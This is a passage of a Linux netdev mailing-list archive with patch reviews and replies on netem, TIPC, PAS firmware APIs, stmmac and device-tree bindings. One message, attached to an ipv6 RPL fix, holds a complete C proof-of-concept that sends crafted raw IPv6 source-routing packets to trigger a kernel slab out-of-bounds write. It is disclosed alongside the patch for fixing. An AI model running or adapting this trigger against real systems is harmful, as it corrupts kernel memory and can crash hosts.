* Re: [PATCH net v8 4/6] net/sched: netem: validate slot configuration
From: Simon Horman @ 2026-04-21 13:10 UTC (permalink / raw)
To: Stephen Hemminger
Cc: netdev, jiri, jhs, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Dave Taht, open list
In-Reply-To: <20260418032027.900913-5-stephen@networkplumber.org>
On Fri, Apr 17, 2026 at 08:19:42PM -0700, Stephen Hemminger wrote:
> Reject slot configurations that have no defensible meaning:
>
> - negative min_delay or max_delay
> - min_delay greater than max_delay
> - negative dist_delay or dist_jitter
> - negative max_packets or max_bytes
>
> Negative or out-of-order delays underflow in get_slot_next(),
> producing garbage intervals. Negative limits trip the per-slot
> accounting (packets_left/bytes_left <= 0) on the first packet of
> every slot, defeating the rate-limiting half of the slot feature.
>
> Note that dist_jitter has been silently coerced to its absolute
> value by get_slot() since the feature was introduced; rejecting
> negatives here converts that silent coercion into -EINVAL. The
> abs() can be removed in a follow-up.
>
> Fixes: 836af83b54e3 ("netem: support delivering packets in delayed time slots")
> Signed-off-by: Stephen Hemminger <stephen@networkplumber.org>
Reviewed-by: Simon Horman <horms@kernel.org>
I acknowledge that Sashiko has provided feedback on this patch.
1. "Does rejecting negative dist_jitter values with -EINVAL cause a
regression in userspace ABI backward compatibility? Since the kernel
previously accepted these values and silently coerced them using abs(),
existing userspace tools or scripts that happen to pass negative values
might start failing to configure the qdisc."
This is intended and explicitly explained in the cover letter.
2. "Could directly dereferencing 64-bit fields from the netlink attribute
payload cause undefined behavior on strict-alignment architectures?
Netlink attribute payloads are typically only guaranteed to be 4-byte
aligned because NLA_ALIGNTO is 4, but the __s64 fields within
tc_netem_slot like min_delay require 8-byte natural alignment.
Performing an 8-byte read from a potentially 4-byte aligned address
might cause an alignment fault on certain architectures."
This patch does not change the presence of this problem; and I suspect
it is not a problem at all.
^ permalink raw reply
* Re: a bug in drivers/net/macsec.c ? (ssci endianness)
From: Sabrina Dubroca @ 2026-04-21 13:04 UTC (permalink / raw)
To: Karol Gajdos (Nokia); +Cc: netdev@vger.kernel.org
In-Reply-To: <VI1PR07MB9850B2C9119357C3B254F83F962C2@VI1PR07MB9850.eurprd07.prod.outlook.com>
2026-04-21, 11:37:53 +0000, Karol Gajdos (Nokia) wrote:
> Hi,
>
> there seems to be a bug in the function filling IV for the XPN case.
> Can you confirm please ?
We expect userspace to provide the SSCI in network byte order via the
netlink API (same as SCI). As long as we're handling it that way
consistently, which I think is the case, there is no bug.
--
Sabrina
^ permalink raw reply
* Re: [PATCH net] net: airoha: Fix PPE cpu port configuration for GDM2 loopback path
From: patchwork-bot+netdevbpf @ 2026-04-21 12:50 UTC (permalink / raw)
To: Lorenzo Bianconi
Cc: andrew+netdev, davem, edumazet, kuba, pabeni, horms,
linux-arm-kernel, linux-mediatek, netdev
In-Reply-To: <20260417-airoha-ppe-cpu-port-for-gdm2-loopback-v1-1-c7a9de0f6f57@kernel.org>
Hello:
This patch was applied to netdev/net.git (main)
by Paolo Abeni <pabeni@redhat.com>:
On Fri, 17 Apr 2026 17:24:41 +0200 you wrote:
> When QoS loopback is enabled for GDM3 or GDM4, incoming packets are
> forwarded to GDM2. However, the PPE cpu port for GDM2 is not configured
> in this path, causing traffic originating from GDM3/GDM4, which may
> be set up as WAN ports backed by QDMA1, to be incorrectly directed
> to QDMA0 instead.
> Configure the PPE cpu port for GDM2 when QoS loopback is active on
> GDM3 or GDM4 to ensure traffic is routed to the correct QDMA instance.
>
> [...]
Here is the summary with links:
- [net] net: airoha: Fix PPE cpu port configuration for GDM2 loopback path
https://git.kernel.org/netdev/net/c/d647f2545219
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* [PATCH v2 1/1] tipc: fix double-free in tipc_buf_append()
From: Lee Jones @ 2026-04-21 12:45 UTC (permalink / raw)
To: lee, Jon Maloy, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Ying Xue, netdev, tipc-discussion,
linux-kernel
Cc: Tung Nguyen
tipc_msg_validate() can potentially reallocate the skb it is validating,
freeing the old one. In tipc_buf_append(), it was being called with a
pointer to a local variable which was a copy of the caller's skb
pointer.
If the skb was reallocated and validation subsequently failed, the error
handling path would free the original skb pointer, which had already
been freed, leading to double-free.
Fix this by checking if head now points to a newly allocated reassembled
skb. If it does, reassign *headbuf for later freeing operations.
Fixes: d618d09a68e4 ("tipc: enforce valid ratio between skb truesize and contents")
Suggested-by: Tung Nguyen <tung.quang.nguyen@est.tech>
Signed-off-by: Lee Jones <lee@kernel.org>
---
1v => v2: Keep the passed pointer type the same, but reassign on-change
net/tipc/msg.c | 14 +++++++++++++-
1 file changed, 13 insertions(+), 1 deletion(-)
diff --git a/net/tipc/msg.c b/net/tipc/msg.c
index 76284fc538eb..b0bba0feef56 100644
--- a/net/tipc/msg.c
+++ b/net/tipc/msg.c
@@ -177,8 +177,20 @@ int tipc_buf_append(struct sk_buff **headbuf, struct sk_buff **buf)
if (fragid == LAST_FRAGMENT) {
TIPC_SKB_CB(head)->validated = 0;
- if (unlikely(!tipc_msg_validate(&head)))
+
+ /* If the reassembled skb has been freed in
+ * tipc_msg_validate() because of an invalid truesize,
+ * then head will point to a newly allocated reassembled
+ * skb, while *headbuf points to freed reassembled skb.
+ * In such cases, correct *headbuf for freeing the newly
+ * allocated reassembled skb later.
+ */
+ if (unlikely(!tipc_msg_validate(&head))) {
+ if (head != *headbuf)
+ *headbuf = head;
goto err;
+ }
+
*buf = head;
TIPC_SKB_CB(head)->tail = NULL;
*headbuf = NULL;
--
2.54.0.rc1.555.g9c883467ad-goog
^ permalink raw reply related
* Re: [PATCH v3 11/15] media: qcom: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:43 UTC (permalink / raw)
To: Jorge Ramirez
Cc: Trilok Soni, vikash.garodia, linux-arm-msm, devicetree, dri-devel,
freedreno, linux-media, netdev, linux-wireless, ath12k,
linux-remoteproc, andersson, konradybcio, robh, krzk+dt, conor+dt,
robin.clark, sean, akhilpo, lumag, abhinav.kumar, jesszhan0024,
marijn.suijten, airlied, simona, dikshita.agarwal, bod, mchehab,
elder, andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
mathieu.poirier, mukesh.ojha, pavan.kondeti, tonyh,
vignesh.viswanathan, srinivas.kandagatla, amirreza.zarrabi,
jens.wiklander, op-tee, apurupa, skare, harshal.dev, linux-kernel,
Sumit Garg
In-Reply-To: <adYElwM6eT5T8hZM@trex>
On Wed, Apr 08, 2026 at 09:32:39AM +0200, Jorge Ramirez wrote:
> On 07/04/26 15:14:22, Trilok Soni wrote:
> > On 4/6/2026 4:42 AM, Sumit Garg wrote:
> > > Hi Jorge,
> > >
> > > On Fri, Apr 03, 2026 at 11:37:07AM +0200, Jorge Ramirez wrote:
> > >> On 27/03/26 18:40:39, Sumit Garg wrote:
> > >>> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
> > >>>
> > >>> Switch qcom media client drivers over to generic PAS TZ APIs. Generic PAS
> > >>> TZ service allows to support multiple TZ implementation backends like QTEE
> > >>> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> > >>> backend service.
> > >>
> > >> OP-TEE based PAS service relies on the linux driver to configure the
> > >> iommu (just as it is done on the no_tz case). This generic patch does
> > >> not cover that requirement.
> > >
> > > That's exactly the reason why the kodiak EL2 dtso disables venus by
> > > default in patch #1 due to missing IOMMU configuration.
> > >
> > >>
> > >> Because of that, it is probably better if the commit message doesnt
> > >> mention OP-TEE and instead maybe indicate that PAS wll support TEEs that
> > >> implement the same restrictions that QTEE (ie, iommu configuration).
> > >
> > > The scope for this patch is to just adopt the generic PAS layer without
> > > affecting the client functionality.
>
> the patchset cover letter + the commit message + the OP-TEE pull request
> being referenced gives the ilusion to users that with the current set
> they will get something functional (they will get a broken video
> platform instead if they try to use OP-TEE).
>
> That was the point I was making: IMO the commit message walks on a thin
> line of "completeness"
>
> QTEE and OP-TEE at this time implement different use cases (Venus with
> QTEE runs with Linux on EL1 , OP-TEE runs with Linux on EL2). So maybe
> worth mentioning this divergence.
>
Sure, I can extend the cover letter to say media support with Linux at
EL2 is missing for both OP-TEE and QTEE which is being worked on as a
separate effort related to missing IOMMU support.
-Sumit
^ permalink raw reply
* Re: [PATCH v3 12/15] net: ipa: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:39 UTC (permalink / raw)
To: elder
Cc: andersson, konradybcio, robh, krzk+dt, conor+dt, robin.clark,
sean, akhilpo, lumag, abhinav.kumar, jesszhan0024, marijn.suijten,
airlied, simona, vikash.garodia, dikshita.agarwal, bod, mchehab,
andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
harshal.dev, linux-kernel, Sumit Garg, linux-arm-msm, devicetree,
dri-devel, freedreno, linux-media, netdev, linux-wireless, ath12k,
linux-remoteproc
In-Reply-To: <20260327131043.627120-13-sumit.garg@kernel.org>
Hey Alex,
On Fri, Mar 27, 2026 at 06:40:40PM +0530, Sumit Garg wrote:
> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
>
> Switch ipa client driver over to generic PAS TZ APIs. Generic PAS TZ
> service allows to support multiple TZ implementation backends like QTEE
> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> backend service.
>
> Signed-off-by: Sumit Garg <sumit.garg@oss.qualcomm.com>
> ---
> drivers/net/ipa/Kconfig | 2 +-
> drivers/net/ipa/ipa_main.c | 13 ++++++++-----
> 2 files changed, 9 insertions(+), 6 deletions(-)
>
Can I get an ack from you on this change? I expect this complete
patch-set to land via Qcom SoC tree.
-Sumit
> diff --git a/drivers/net/ipa/Kconfig b/drivers/net/ipa/Kconfig
> index 01d219d3760c..a9aff1b7977d 100644
> --- a/drivers/net/ipa/Kconfig
> +++ b/drivers/net/ipa/Kconfig
> @@ -6,7 +6,7 @@ config QCOM_IPA
> depends on QCOM_RPROC_COMMON || (QCOM_RPROC_COMMON=n && COMPILE_TEST)
> depends on QCOM_AOSS_QMP || QCOM_AOSS_QMP=n
> select QCOM_MDT_LOADER
> - select QCOM_SCM
> + select QCOM_PAS
> select QCOM_QMI_HELPERS
> help
> Choose Y or M here to include support for the Qualcomm
> diff --git a/drivers/net/ipa/ipa_main.c b/drivers/net/ipa/ipa_main.c
> index edead9c48d1f..8feb8493d5b5 100644
> --- a/drivers/net/ipa/ipa_main.c
> +++ b/drivers/net/ipa/ipa_main.c
> @@ -14,7 +14,7 @@
> #include <linux/pm_runtime.h>
> #include <linux/types.h>
>
> -#include <linux/firmware/qcom/qcom_scm.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
> #include <linux/soc/qcom/mdt_loader.h>
>
> #include "ipa.h"
> @@ -624,10 +624,13 @@ static int ipa_firmware_load(struct device *dev)
> }
>
> ret = qcom_mdt_load(dev, fw, path, IPA_PAS_ID, virt, phys, size, NULL);
> - if (ret)
> + if (ret) {
> dev_err(dev, "error %d loading \"%s\"\n", ret, path);
> - else if ((ret = qcom_scm_pas_auth_and_reset(IPA_PAS_ID)))
> - dev_err(dev, "error %d authenticating \"%s\"\n", ret, path);
> + } else {
> + ret = qcom_pas_auth_and_reset(IPA_PAS_ID);
> + if (ret)
> + dev_err(dev, "error %d authenticating \"%s\"\n", ret, path);
> + }
>
> memunmap(virt);
> out_release_firmware:
> @@ -754,7 +757,7 @@ static enum ipa_firmware_loader ipa_firmware_loader(struct device *dev)
> return IPA_LOADER_INVALID;
> out_self:
> /* We need Trust Zone to load firmware; make sure it's available */
> - if (qcom_scm_is_available())
> + if (qcom_pas_is_available())
> return IPA_LOADER_SELF;
>
> return IPA_LOADER_DEFER;
> --
> 2.51.0
>
>
^ permalink raw reply
* Re: [PATCH] net/stmmac: Fix typos: 'tx_undeflow_irq' -> 'tx_underflow_irq'
From: Andrew Lunn @ 2026-04-21 12:39 UTC (permalink / raw)
To: Jakub Raczynski
Cc: netdev, linux-kernel, kuba, davem, andrew+netdev, kernel-janitors,
linux-arm-kernel, linux-stm32
In-Reply-To: <20260421115008.2690541-1-j.raczynski@samsung.com>
> +++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_ethtool.c
> @@ -78,7 +78,7 @@ static const struct stmmac_stats stmmac_gstrings_stats[] = {
> STMMAC_STAT(rx_vlan),
> STMMAC_STAT(rx_split_hdr_pkt_n),
> /* Tx/Rx IRQ error info */
> - STMMAC_STAT(tx_undeflow_irq),
> + STMMAC_STAT(tx_underflow_irq),
Please take another look at this one and think about it.
Andrew
---
pw-bot: cr
^ permalink raw reply
* Re: [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
From: Greg Kroah-Hartman @ 2026-04-21 12:38 UTC (permalink / raw)
To: netdev
Cc: linux-kernel, David S. Miller, David Ahern, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, stable
In-Reply-To: <2026042158-sediment-elliptic-a954@gregkh>
On Tue, Apr 21, 2026 at 02:32:59PM +0200, Greg Kroah-Hartman wrote:
> ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
> the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
> header and pushes the new one plus the IPv6 header back. The
> recompressed header can be larger than the received one when the swap
> reduces the common-prefix length the segments share with daddr (CmprI=0,
> CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).
>
> pskb_expand_head() was gated on segments_left == 0, so on earlier
> segments the push consumed unchecked headroom. Once skb_push() leaves
> fewer than skb->mac_len bytes in front of data,
> skb_mac_header_rebuild()'s call to:
>
> skb_set_mac_header(skb, -skb->mac_len);
>
> will store (data - head) - mac_len into the u16 mac_header field, which
> wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
> past skb->head.
>
> A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
> segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
> pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.
>
> Fix this by expanding the head whenever the remaining room is less than
> the push size plus mac_len, and request that much extra so the rebuilt
> MAC header fits afterwards.
>
> Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: David Ahern <dsahern@kernel.org>
> Cc: Eric Dumazet <edumazet@google.com>
> Cc: Jakub Kicinski <kuba@kernel.org>
> Cc: Paolo Abeni <pabeni@redhat.com>
> Cc: Simon Horman <horms@kernel.org>
> Cc: stable <stable@kernel.org>
> Reported-by: Anthropic
> Assisted-by: gkh_clanker_t1000
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> ---
> v2: - fixed up if statement to actually work properly, and test it against
> a working poc (poc will be sent separately)
Poc is here, requires root to run so it's just a normal bug.
------------------
// SPDX-License-Identifier: GPL-2.0
/*
* PoC for ANT-2026-03771: slab-out-of-bounds write of size 14 in
* net/ipv6/exthdrs.c:ipv6_rpl_srh_rcv().
*
* Mechanism
* ---------
* ipv6_rpl_srh_rcv() decompresses an RFC 6554 RPL Source Routing
* Header, swaps daddr <-> segment[i], recompresses, then:
*
* skb_pull(skb, (hdr->hdrlen+1)<<3); // old SRH len
* if (!hdr->segments_left) // ONLY on last seg
* pskb_expand_head(...);
* skb_push(skb, (chdr->hdrlen+1)<<3 + 40); // new SRH + ip6hdr
* skb_reset_network_header(skb);
* skb_mac_header_rebuild(skb);
*
* If the recompressed header (chdr) is larger than the received one
* (hdr) and segments_left > 0, the push consumes headroom that nothing
* checked. When the post-push headroom drops below skb->mac_len (14),
* skb_mac_header_rebuild()'s
*
* skb_set_mac_header(skb, -skb->mac_len);
*
* computes (data - head) + (u16)(-14) and stores it in the u16
* mac_header field, then memmove()s 14 bytes to skb->head + 65522..65535.
*
* Triggering growth on the first iteration
* ----------------------------------------
* Send cmpri=0 cmpre=15 with two segments and daddr = c0de::1:
* seg[0] (16 bytes, cmpri=0): 4141:...:4141 (anything with byte0 != 0xc0)
* seg[1] (1 byte, cmpre=15): 0x01 -> decompressed = c0de::1
*
* After the swap (i=0) the new daddr is 4141::4141 and the segment list
* is [c0de::1, c0de::1]. Recompression against 4141::4141 yields
* cmpri'=0 (4141.. vs c0de..) and cmpre'=0 (4141.. vs c0de..), so the
* last segment now needs 16 bytes instead of 1. hdrlen goes from 3 to
* 4: the SRH grows by 8 bytes.
*
* Headroom on entry to the SRH handler via lo:
* rawv6_send_hdrinc: skb_reserve(LL_RESERVED_SPACE(lo)) = 16
* neigh_connected_output: skb_push(14) -> headroom = 2
* loopback_xmit: eth_type_trans pull(14) -> headroom = 16
* ip6_protocol_deliver_rcu: pskb_pull(40) -> headroom = 56
* ipv6_rpl_srh_rcv: pull(32) push(40+40) -> headroom = 8
*
* 8 < 14, so mac_header wraps. skb data buffer is a ~512-byte slab
* object; head + 65530 is far past it.
*
* Build with CONFIG_KASAN to get a clean splat; without KASAN the
* 14-byte write lands in unrelated heap memory and the failure mode
* is less deterministic (often skb_under_panic on a later iteration).
*
* Usage
* -----
* Run as root. The PoC configures the local address and sysctls
* itself so an init=/poc initramfs is sufficient.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <linux/if.h>
#include <linux/in6.h>
#include <linux/ipv6.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/reboot.h>
#define LOCAL_ADDR "c0de::1"
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static void bring_up_lo(void)
{
int fd;
struct ifreq ifr = { .ifr_name = "lo" };
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
die("SIOCGIFFLAGS lo");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
die("SIOCSIFFLAGS lo");
close(fd);
}
static void add_local_addr(void)
{
struct in6_ifreq ifr6;
struct ifreq ifr = { .ifr_name = "lo" };
int fd;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0)
die("socket AF_INET6");
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("SIOCGIFINDEX lo");
memset(&ifr6, 0, sizeof(ifr6));
inet_pton(AF_INET6, LOCAL_ADDR, &ifr6.ifr6_addr);
ifr6.ifr6_prefixlen = 128;
ifr6.ifr6_ifindex = ifr.ifr_ifindex;
if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0 && errno != EEXIST)
die("SIOCSIFADDR " LOCAL_ADDR);
close(fd);
}
/*
* RFC 6554 SRH wire layout (network byte order):
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Next Header | Hdr Ext Len | Routing Type=3| Segments Left |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | CmprI | CmprE | Pad | Reserved |
* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
* | Addresses[1..n] ...
*/
static size_t build_packet(unsigned char *buf, size_t buflen, size_t pad)
{
struct ip6_hdr *ip6 = (struct ip6_hdr *)buf;
unsigned char *srh = buf + sizeof(*ip6);
const size_t srh_len = 32; /* (hdrlen 3 + 1) * 8 */
const size_t total = sizeof(*ip6) + srh_len + pad;
if (buflen < total)
die("buffer too small");
memset(buf, 0, total);
/* IPv6 header */
ip6->ip6_flow = htonl(6u << 28);
ip6->ip6_plen = htons(srh_len + pad);
ip6->ip6_nxt = 43; /* Routing Header */
ip6->ip6_hops = 64;
inet_pton(AF_INET6, "::1", &ip6->ip6_src);
inet_pton(AF_INET6, LOCAL_ADDR, &ip6->ip6_dst);
/* RPL SRH fixed part */
srh[0] = 59; /* No Next Header */
srh[1] = 3; /* hdrlen: (3+1)*8 = 32 */
srh[2] = 3; /* IPV6_SRCRT_TYPE_3 (RPL) */
srh[3] = 2; /* segments_left = n+1 = 2 */
srh[4] = (0 << 4) | 15; /* CmprI=0, CmprE=15 */
srh[5] = (7 << 4) | 0; /* Pad=7, Reserved=0 */
srh[6] = 0;
srh[7] = 0;
/*
* seg[0]: full 16 bytes (cmpri=0). byte[0] != 0xc0 so that
* after the swap the new daddr shares no prefix with the
* remaining segments and cmpre' collapses from 15 to 0.
*/
memset(&srh[8], 0x41, 16);
/*
* seg[1]: 1 byte (cmpre=15). Decompressed = daddr[0..14] || 0x01
* = c0de::1, which is local so the loop check passes.
*/
srh[24] = 0x01;
/* srh[25..31] already zero: 7 bytes of pad */
return total;
}
int main(void)
{
static unsigned char pkt[65536];
struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
int fd, on = 1;
size_t len;
if (getpid() == 1) {
mkdir("/proc", 0555);
mount("proc", "/proc", "proc", 0, NULL);
mkdir("/sys", 0555);
mount("sysfs", "/sys", "sysfs", 0, NULL);
}
bring_up_lo();
add_local_addr();
if (write_file("/proc/sys/net/ipv6/conf/all/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (all)\n");
if (write_file("/proc/sys/net/ipv6/conf/lo/rpl_seg_enabled", "1") < 0)
fprintf(stderr, "warning: cannot enable rpl_seg_enabled (lo)\n");
/* let DAD settle so c0de::1 is usable */
sleep(2);
fd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
if (fd < 0)
die("socket(AF_INET6, SOCK_RAW, IPPROTO_RAW)");
if (setsockopt(fd, IPPROTO_IPV6, IPV6_HDRINCL, &on, sizeof(on)) < 0)
die("setsockopt IPV6_HDRINCL");
inet_pton(AF_INET6, LOCAL_ADDR, &dst.sin6_addr);
printf("[*] sending IPv6+RPL-SRH packets to %s\n", LOCAL_ADDR);
printf("[*] cmpri=0 cmpre=15 n=1: chdr grows by 8 -> headroom 8 -> mac_header wraps\n");
fflush(stdout);
/*
* The 14-byte write lands at skb->head + ~65530. Whether KASAN
* sees it depends on what that page holds. Sweep packet sizes so
* the data buffer cycles through every kmalloc bucket and the
* page allocator; one of the resulting head values will sit 64KiB
* below a poisoned page.
*/
for (size_t pad = 0; pad <= 32768; pad = pad ? pad * 2 : 64) {
for (int i = 0; i < 64; i++) {
len = build_packet(pkt, sizeof(pkt), pad + i);
if (sendto(fd, pkt, len, 0,
(struct sockaddr *)&dst, sizeof(dst)) < 0)
die("sendto");
}
}
/* softirq processing happens asynchronously */
sleep(1);
printf("[!] kernel survived — fix is applied or KASAN is off\n");
if (getpid() == 1) {
sync();
reboot(RB_POWER_OFF);
pause();
}
return 0;
}
^ permalink raw reply
* Re: [net-next v2 3/5] dt-bindings: net: starfive,jh7110-dwmac: Add JHB100 sgmii rx clk
From: Rob Herring @ 2026-04-21 12:37 UTC (permalink / raw)
To: Minda Chen
Cc: Alexandre Torgue, Andrew Lunn, David S . Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Maxime Coquelin,
Emil Renner Berthing, Krzysztof Kozlowski, Conor Dooley,
netdev@vger.kernel.org, linux-kernel@vger.kernel.org,
linux-stm32@st-md-mailman.stormreply.com,
devicetree@vger.kernel.org
In-Reply-To: <BJXPR01MB085573DCF307E33E43FD664AE62C2@BJXPR01MB0855.CHNPR01.prod.partner.outlook.cn>
On Mon, Apr 20, 2026 at 10:39 PM Minda Chen <minda.chen@starfivetech.com> wrote:
>
>
>
>
> >
> > On Fri, Apr 17, 2026 at 10:45:21AM +0800, Minda Chen wrote:
> > > JHB100 SGMII interface tx/rx mac clock is split and require to set
> > > clock rate in 10M/100M/1000M speed. So dts need to add a new rx clock
> > > in code, dts and dt binding doc.
> > >
> > > Signed-off-by: Minda Chen <minda.chen@starfivetech.com>
> > > ---
> > > .../bindings/net/starfive,jh7110-dwmac.yaml | 42 ++++++++++++++++---
> > > 1 file changed, 36 insertions(+), 6 deletions(-)
> > >
> > > diff --git
> > > a/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > b/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > index edc246a71ce3..3802cdbf1848 100644
> > > --- a/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > +++ b/Documentation/devicetree/bindings/net/starfive,jh7110-dwmac.yaml
> > > @@ -39,20 +39,26 @@ properties:
> > > maxItems: 1
> > >
> > > clocks:
> > > + minItems: 5
> > > items:
> > > - description: GMAC main clock
> > > - description: GMAC AHB clock
> > > - description: PTP clock
> > > - description: TX clock
> > > - description: GTX clock
> > > + - description: SGMII RX clock
> > >
> > > clock-names:
> > > - items:
> > > - - const: stmmaceth
> > > - - const: pclk
> > > - - const: ptp_ref
> > > - - const: tx
> > > - - const: gtx
> > > + minItems: 5
> > > + maxItems: 6
> > > + contains:
> > > + enum:
> > > + - stmmaceth
> > > + - pclk
> > > + - ptp_ref
> > > + - tx
> > > + - gtx
> > > + - sgmii_rx
> >
> > No, this allows any of the above strings plus any other random strings.
> >
> > Rob
>
> Got it. Thanks. In JHB100 I will using "oneOf" 5 clocks or 6 clocks. 7100/7100 are const clock names
No, based on what you did for 'clocks', you just need:
clock-names:
minItems: 5
items:
- const: stmmaceth
- const: pclk
- const: ptp_ref
- const: tx
- const: gtx
- sgmii_rx
Rob
^ permalink raw reply
* Re: [PATCH v3 11/15] media: qcom: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:36 UTC (permalink / raw)
To: bod, vikash.garodia, dikshita.agarwal
Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
netdev, linux-wireless, ath12k, linux-remoteproc, andersson,
konradybcio, robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo,
lumag, abhinav.kumar, jesszhan0024, marijn.suijten, airlied,
simona, vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <20260327131043.627120-12-sumit.garg@kernel.org>
Hey Vikash, Dikshita,
On Fri, Mar 27, 2026 at 06:40:39PM +0530, Sumit Garg wrote:
> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
>
> Switch qcom media client drivers over to generic PAS TZ APIs. Generic PAS
> TZ service allows to support multiple TZ implementation backends like QTEE
> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> backend service.
>
> Along with that pass proper PAS ID to set_remote_state API. As per testing
> the SCM backend just ignores it while OP-TEE makes use of it to for proper
> book keeping purpose.
>
> Signed-off-by: Sumit Garg <sumit.garg@oss.qualcomm.com>
> ---
> drivers/media/platform/qcom/iris/Kconfig | 25 ++++++++++---------
> .../media/platform/qcom/iris/iris_firmware.c | 9 ++++---
> drivers/media/platform/qcom/venus/Kconfig | 1 +
> drivers/media/platform/qcom/venus/firmware.c | 11 ++++----
> 4 files changed, 25 insertions(+), 21 deletions(-)
>
Can I get an ack from you on this change? I expect this complete
patch-set to land via Qcom SoC tree.
-Sumit
> diff --git a/drivers/media/platform/qcom/iris/Kconfig b/drivers/media/platform/qcom/iris/Kconfig
> index 3c803a05305a..f54b759c18aa 100644
> --- a/drivers/media/platform/qcom/iris/Kconfig
> +++ b/drivers/media/platform/qcom/iris/Kconfig
> @@ -1,13 +1,14 @@
> config VIDEO_QCOM_IRIS
> - tristate "Qualcomm iris V4L2 decoder driver"
> - depends on VIDEO_DEV
> - depends on ARCH_QCOM || COMPILE_TEST
> - select V4L2_MEM2MEM_DEV
> - select QCOM_MDT_LOADER if ARCH_QCOM
> - select QCOM_SCM
> - select VIDEOBUF2_DMA_CONTIG
> - help
> - This is a V4L2 driver for Qualcomm iris video accelerator
> - hardware. It accelerates decoding operations on various
> - Qualcomm SoCs.
> - To compile this driver as a module choose m here.
> + tristate "Qualcomm iris V4L2 decoder driver"
> + depends on VIDEO_DEV
> + depends on ARCH_QCOM || COMPILE_TEST
> + select V4L2_MEM2MEM_DEV
> + select QCOM_MDT_LOADER if ARCH_QCOM
> + select QCOM_SCM
> + select QCOM_PAS
> + select VIDEOBUF2_DMA_CONTIG
> + help
> + This is a V4L2 driver for Qualcomm iris video accelerator
> + hardware. It accelerates decoding operations on various
> + Qualcomm SoCs.
> + To compile this driver as a module choose m here.
> diff --git a/drivers/media/platform/qcom/iris/iris_firmware.c b/drivers/media/platform/qcom/iris/iris_firmware.c
> index 5f408024e967..856fa6a79064 100644
> --- a/drivers/media/platform/qcom/iris/iris_firmware.c
> +++ b/drivers/media/platform/qcom/iris/iris_firmware.c
> @@ -4,6 +4,7 @@
> */
>
> #include <linux/firmware.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
> #include <linux/firmware/qcom/qcom_scm.h>
> #include <linux/of_address.h>
> #include <linux/of_reserved_mem.h>
> @@ -79,7 +80,7 @@ int iris_fw_load(struct iris_core *core)
> return -ENOMEM;
> }
>
